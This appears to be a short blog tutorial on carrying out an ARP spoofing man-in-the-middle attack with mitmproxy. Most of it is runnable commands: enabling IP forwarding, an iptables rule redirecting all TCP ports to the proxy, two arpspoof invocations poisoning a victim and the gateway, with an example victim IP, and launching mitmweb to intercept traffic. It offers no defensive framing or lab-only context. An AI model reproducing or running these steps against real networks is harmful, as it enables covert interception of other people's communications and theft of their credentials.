how to perform arp spoofing with mitmproxy

    An ARP spoofing, also known as ARP poisoning, is a Man in the Middle (MitM) attack that allows attackers to intercept communication between network devices.

Tool Needed:

    - Need Linux System 

    -  apt-get install mitmproxy


##Enable IP forwarding & port redirection

sudo sysctl -w net.ipv4.ip_forward=1


sudo iptables-legacy -A PREROUTING -t nat -i eth0 -p tcp --dport 1:65535 -j DNAT --to-destination IP-Address:8080


##Open terminal to run 2 instances of arpspoof:


arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP

arpspoof -i $INTERFACE -t $GATEWAY_IP $VICTIM_IP

exp: arpspoof -i eth0 -t 192.168.1.110 192.168.1.1

## Attack

./mitmweb --ssl-insecure

Post a Comment

0 Comments